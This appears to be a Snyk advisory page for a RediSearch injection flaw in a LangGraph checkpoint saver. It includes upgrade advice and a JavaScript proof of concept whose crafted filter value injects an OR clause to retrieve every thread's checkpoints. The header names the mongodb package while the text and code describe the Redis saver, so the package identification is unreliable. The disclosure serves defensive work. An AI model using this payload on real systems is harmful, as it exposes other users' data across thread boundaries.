Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') Affecting @langchain/langgraph-checkpoint-mongodb package, versions <1.1.7


Severity

Recommended
0.0
high
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
3.73% (89th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-JS-LANGCHAINLANGGRAPHCHECKPOINTMONGODB-15323717
  • published20 Feb 2026
  • disclosed18 Feb 2026
  • creditYarden Porat(Yarpo)

Introduced: 18 Feb 2026

CVE-2026-27022  (opens in a new tab)
CWE-74  (opens in a new tab)

How to fix?

Upgrade @langchain/langgraph-checkpoint-mongodb to version 1.1.7 or higher.

Overview

@langchain/langgraph-checkpoint-mongodb is a LangGraph

Affected versions of this package are vulnerable to Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') via the list method in the RedisSaver and ShallowRedisSaver classes when user-controlled input is directly interpolated into RediSearch queries without proper escaping. An attacker can access sensitive data from other threads by injecting special RediSearch syntax into filter parameters to bypass thread isolation and retrieve unauthorized checkpoint data.

PoC

import { RedisSaver } from "@langchain/langgraph-checkpoint-redis";

const saver = new RedisSaver({ /* redis config */ });

// Normal usage - should only see thread "user-123-thread"
const legitHistory = saver.list({
  configurable: { thread_id: "user-123-thread" }
}, {
  filter: { source: "loop" }
});

// Attacker crafts malicious filter value
const attackerFilter = {
  source: "x}) | (@thread_id:{*"  // Injects OR clause matching ALL threads
};

// This produces a query like:
// (@thread_id:{user-123-thread}) (@source:{x}) | (@thread_id:{*})
// Due to precedence, this matches ALL threads!

const stolenHistory = saver.list({
  configurable: { thread_id: "user-123-thread" }
}, {
  filter: attackerFilter
});

// stolenHistory now contains checkpoints from ALL threads - DATA LEAKED!

CVSS Base Scores

version 4.0
version 3.1